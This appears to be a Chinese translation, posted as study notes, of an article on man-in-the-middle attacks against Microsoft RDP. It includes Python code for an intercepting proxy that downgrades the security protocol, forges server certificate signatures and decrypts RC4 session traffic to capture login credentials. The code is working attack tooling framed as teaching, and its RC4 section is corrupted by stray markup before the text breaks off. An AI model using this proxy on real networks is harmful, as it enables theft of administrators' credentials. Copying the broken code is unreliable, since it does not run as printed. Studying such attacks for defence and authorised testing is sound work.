0x00 简介

  最近看到一篇关于RDP攻击的文章,不是很新的内容,本着学习的目的进行简单的翻译,也当做学习笔记,鉴于水平有限,有很多不到位的地方,还请包涵。

  RDP协议被系统管理员每天用来管理远程Windows服务器。最常见的场景之一就是,用RDP在核心服务器上执行远程管理任务,比如用高权限的账户登录域控服务器,这个账户的凭据通过RDP进行传输。因此,使用安全的RDP配置更加显得至关重要。由于配置错误,经常遇到如下的证书警告:  

  如果在你所处的环境中,经常出现这种警告,将无法识别出潜在的MitM攻击。

  本文的目的在于提升安全意识,严肃的看待证书警告的重要性以及如何进行安全配置。计划的读者群是系统管理员、渗透测试人员以及安全爱好者。虽然不必要,但推荐读者最好具备以下的背景知识:

>- 公钥及对称密码体制(RSA、RC4)
>- SSL
>- x509 证书
>- TCP
>- Python
>- 十六进制数及二进制代码

  本文将证明如何通过MitM攻击窃取用户凭证。文章内容没有涉及到最新的技术,甚至是早已被Cain实现过的技术。但是,Cain实在是太老了,而且关闭了源码并且只能在Windows下使用。本文将分析技术细节,以及RDP协议的内部工作原理,并尽可能真实的模拟一次攻击行为。

声明:不得利用本文涉及到的技术获取不属于你的服务器权限。本文仅用于教学,且需取得系统管理员的授权。否则,你的行为有可能涉及违法。本文涉及的源代码可在以下链接中找到。https://github.com/SySS-Research/Seth

  0x01 RDP原理

  首先利用Wirdshark,看看在通过RDP连接至服务器时到底发生了些什么:

  如图所示,客户端以一个建议开始,建议对RDP会话使用安全协议。我们将三个安全协议做如下区分:

> 标准RDP安全协议
>
强化的RDP安全协议或TLS协议
>* CredSSP(凭据安全服务提供者)

  以上截图仅显示了前两种安全协议。请注意,RDP默认执行标准安全协议,客户端没有专门提示。TLS仅仅是将标准RDP安全协议封装在TLS通道之中。顺便,在本文中将互换的使用SSL协议与TLS协议。

  CredSSP也是封装在TLS协议之中,不过在受保护的通道中所传输的不再是明文的密码,而是用于认证的NTLM或者Kerberos协议。这个协议通常情况下也被用于网络级别认证(NLA)。

  早期的用户认证有个特征,允许服务器在用户提交任何凭据之前拒绝客户端的访问。比如,在用户没有所需的访问权限的情况下。

  在Wireshark所截取的会话中,可以看到在客户端与服务器协商使用强化的RDP协议之后,双方进行了SSL握手。在这种情况下,我们在协商完成后的第一个数据包上点击右键,选择将TCP流解码至SSL。

  所以,如果我们想对RDP会话进行MitM攻击,仅仅使用SSL代理是不够的,这个代理需要能够识别RDP协议。我们选择Python来实现这样一个代理。为实现这个目标,首先建立一个服务端socket,用来接受来自受害客户端的链接。同时建立一个客户端socket,用来链接真正的服务器。代理程序在两个socket之间进行数据转发,在必要的情况下使用SSL协议对数据进行封装。在此过程中,我们会详细检查数据,并对感兴趣的数据进行修改。

  首先需要修改的数据就是客户端协议的安全级别,客户端原本想通知服务端使用CredSSP,但通过代理修改安全级别至标准RDP安全协议。在默认配置下,服务端将会正常回复。

  0x02 创建基于Python的RDP MitM代理

主程序如下:

def run():
     open_sockets()
     handle_protocol_negotiation()
     if not RDP_PROTOCOL == 0:
          enableSSL()
     while True:
          if not forward_data():
               break

def forward_data():
     readable, _, _ = select.select([local_conn, remote_socket], [], [])
     for s_in in readable:
          if s_in == local_conn:
               From = "Client"
               to_socket = remote_socket
          elif s_in == remote_socket:
               From = "Server"
               to_socket = local_conn
          data = s_in.recv(4096)
          if len(data) == 4096:
               while len(data)%4096 == 0:
                    data += s_in.recv(4096)
          if data == b"": return close()
          dump_data(data, From=From)
          parse_rdp(data, From=From)
          data = tamper_data(data, From=From)
          to_socket.send(data)
     return True

def enableSSL():
     global local_conn
     global remote_socket
     print("Enable SSL")
     local_conn = ssl.wrap_socket(
          local_conn,
          server_side=True,
          keyfile=args.keyfile,
          certfile=args.certfile,
     )

     remote_socket = ssl.wrap_socket(remote_socket)

run():创建socket,处理协议协商,在必要的情况下启用SSL。完成之后在两个socket之间进行数据转发。
dump_data():在debug模式下,以十六进制形式将数据打印在屏幕上。
parse_rdp():从数据流中提取敏感信息,并利用tamper_data()进行修改。

0x03 密码学基础

  因为在破解标准RDP安全协议时需要用到密码学相关知识,在此概要的介绍下RSA的基本概念。读者可根据自身情况选择跳过此节。

  在RSA加密算法中,加密、解密、签名都是纯粹的数学操作,工作在简单整数的环境中。请明确,所有操作都限定于有限域之中。在生成RSA中的密钥对时,需要两个大素数p和q。模数n = pq。利用欧拉函数计算 φ(n)=(p−1)(q−1)。随机选择e,使得e与φ(n)互质。利用扩展欧几里得算法求e的逆元d,使得e·d ≡ 1  mod φ(n)。

  此时d为私钥,e、n构成公钥。理论上讲d可以通过n、e计算得出,但是在不知道p和q的情况下,求解φ(n)是困难的。这也就是为什么RSA算法的安全性基于大数分解的难度。在目前情况下,没有人知道更加有效的大数分解算法,除非拥有光量子计算机。
  假设待加密明文为m,密文为c,e为公钥,d为私钥。

  则加密变换为:c≡m^e mod  n。

  解密变换为:m≡c^d mod n。

  如果你确实不明白以上的加解密算法,没关系,这是数学问题,对于这篇文章来说确实有点难度。签名和解密一样,只需要在一段消息的hash值上进行运算。

  当m或者c远大于256bit时,运算的开销会非常大,所以通常情况下,仅会使用RSA对对称加密的密钥进行加密。明文通常情况下使用一次一密的对称加密算法(如AES等)进行加解密。

  0x04 破解标准RDP安全机制

  事实上,对于标准的RDP安全机制根本谈不上破解,因为其设计伊始就存在缺陷。标准RDP协议安全机制工作流程如下:

> - 客户端声明将使用标准RDP安全协议;
> - 服务端同意使用该协议,并将自身的RSA公钥以及一个服务端随机数发送给客户端。公钥以及如主机名等一些其他信息的集合就称为“证书”。该证书使用终端服务的私钥进行签名(RSA签名机制),以确保证书的真实性;
> - 客户端使用公钥验证证书的真实性,若验证成功,则使用公钥对客户端随机数进行加密,并发送至服务端;
> - 服务端使用私钥进行解密,获取客户端随机数;
> - 客户端、服务端都从客户端随机数、服务端随机数中获取到了会话密钥。会话密钥用来加密会话的其余部分。

  请注意,以上所有流程都是明文传输没有使用SSL。理论上没有任何问题,Microsoft想要自己实现SSL实现的功能。但是,密码体制不是一件简单的事,通常情况下,要依赖现有的、经过时间检验的解决方案,而不是自己建立一套新的方案。此时,Microsoft犯了一个严重的错误,该错误如此明显,以至于我完全不理解为什么会这样做。

  你能看出问题在哪吗?客户端是如何获取到终端服务的公钥?答案就是:预装!这就意味着每个系统中的公钥都是一样的。更甚者,私钥也是一样的!所以,公私钥可以从任意Window系统中提取出来。事实上,我们甚至都不需要如此做,因为Microsoft已经决定将之正式的公布在网站上,只需要访问microsoft.com就可以查看到。

  在会话密钥已经被获取的情况下,对称加密有以下几种模式:None、40bit RC4、56bit RC4、128bit RC4、3DES(以上被称为FIPS)。默认情况下使用128bit RC4(“High”)。但是,如果我们可以窃取到密钥,如论加密强度如何,都没有意义。

  至此,目标已清晰:当收到服务端的公钥后,迅速生成我们自己的RSA密钥对,并替换真实的公钥。同时用私钥对证书进行签名。当客户端成功的获取到虚假的公钥之后,我们就能够获取到客户端的随机数。利用私钥进行解密,重写之后,用服务端的公钥重新加密,并发送。至此,我们就可以成功的嗅探客户端与服务端之间的通信了。

现在,唯一存在的问题就是RDP数据包的分析,下图为我们感兴趣的一个数据包:


  表示公钥的字段已经被高亮表示出来了。最前面的两个以小端模式表示的字节,代表了公钥的长度(0x011c)。如同之前讨论过的,公钥由模数和指数两部分组成。查阅RDP协议格式,找出我们感兴趣的字段,以下是模数字段:


签名字段如下:

服务端随机数如下:

  保留服务端随机数,修改模数和签名。为了生成我们自己的RSA密钥对,我们使用openssl,虽然Python拥有RSA库,但执行效率要比openssl慢。

$ openssl genrsa 512 | openssl rsa -noout -text
Generating RSA private key, 512 bit long modulus
.....++++++++++++
..++++++++++++
e is 65537 (0x010001)
Private-Key: (512 bit)
modulus:
     00:f8:4c:16:d5:6c:75:96:65:b3:42:83:ee:26:f7:
     e6:8a:55:89:b0:61:6e:3e:ea:e0:d3:27:1c:bc:88:
     81:48:29:d8:ff:39:18:d9:28:3d:29:e1:bf:5a:f1:
     21:2a:9a:b8:b1:30:0f:4c:70:0a:d3:3c:e7:98:31:
     64:b4:98:1f:d7
publicExponent: 65537 (0x10001)
privateExponent:
     00:b0:c1:89:e7:b8:e4:24:82:95:90:1e:57:25:0a:
     88:e5:a5:6a:f5:53:06:a6:67:92:50:fe:a0:e8:5d:
     cc:9a:cf:38:9b:5f:ee:50:20:cf:10:0c:9b:e1:ee:
     05:94:9a:16:e9:82:e2:55:48:69:1d:e8:dd:5b:c2:
     8a:f6:47:38:c1
prime1:
[...]

  现在,我们生成了所需要的模数n、公钥e、私钥d。事实上,我们需要2048bit的密钥,而不是示例中的512bit,但生成思路是一致的。
  伪造签名也很简单,计算证书的前六个字段,按照协议格式添加内容,并用私钥进行加密,以下是利用Python的函数实现:

def sign_certificate(cert):
 """Signs the certificate with the private key"""
 m = hashlib.md5()
 m.update(cert)
 m = m.digest() + b"\x00" + b"\xff"*45 + b"\x01"
 m = int.from_bytes(m, "little")
 d = int.from_bytes(TERM_PRIV_KEY["d"], "little")
 n = int.from_bytes(TERM_PRIV_KEY["n"], "little")
 s = pow(m, d, n)
 return s.to_bytes(len(crypto["sign"]), "little")

接下来需要截取的数据包包含有加密的客户端随机数,数据包如下:

  再一次,将数据包中的关键字段高亮表示,开始的四个字节代表长度(0x0108)。由于该数据包是用生成的公钥加密,所以我们可以轻易的用私钥进行解密:

  现在,只需要用服务端的公钥重新加密,修改数据包并发送。现在成功获得了私密的客户端随机数,但不知道什么原因,Microsoft并没有将之作为对称加密的密钥。这里需要一个精心构造过的调用,来生成客户端的密钥、服务端的密钥以及签名密钥。虽然无趣但却并不困难。

  在获取到会话密钥之后,初始化RC4流中的s-boxes。由于RDP针对来自客户端的消息与服务端的消息使用了不用的密钥,所以我们需要两个s-boxes。s-boxes是一个256字节的数组,数组内的每个元素都被密钥扰乱,最终生成伪随机子密码,利用xor操作,对明文进行加密。Python实现算法如下:

class RC4(object):
 def __init__(self, key):
      x = 0
      self.sbox = list(range(256))
      for i in range(256):
           x = (x + self.sbox[i] + key[i % len(key)]) % 256[/i]
           self.sbox[i], self.sbox[x] = self.sbox[x], self.sbox[i][/i][/i]
      self.i = self.j = 0
      self.encrypted_packets = 0

 def decrypt(self, data):
      out = [] 
      for char in data:
           self.i = (self.i + 1) % 256
           self.j = (self.j + self.sbox[self.i]) % 256
           self.sbox[self.i], self.sbox[self.j] = (
                self.sbox[self.j],
                self.sbox[self.i]
           )

           out.append(char ^ 

       
       
       

    

Hacking more

...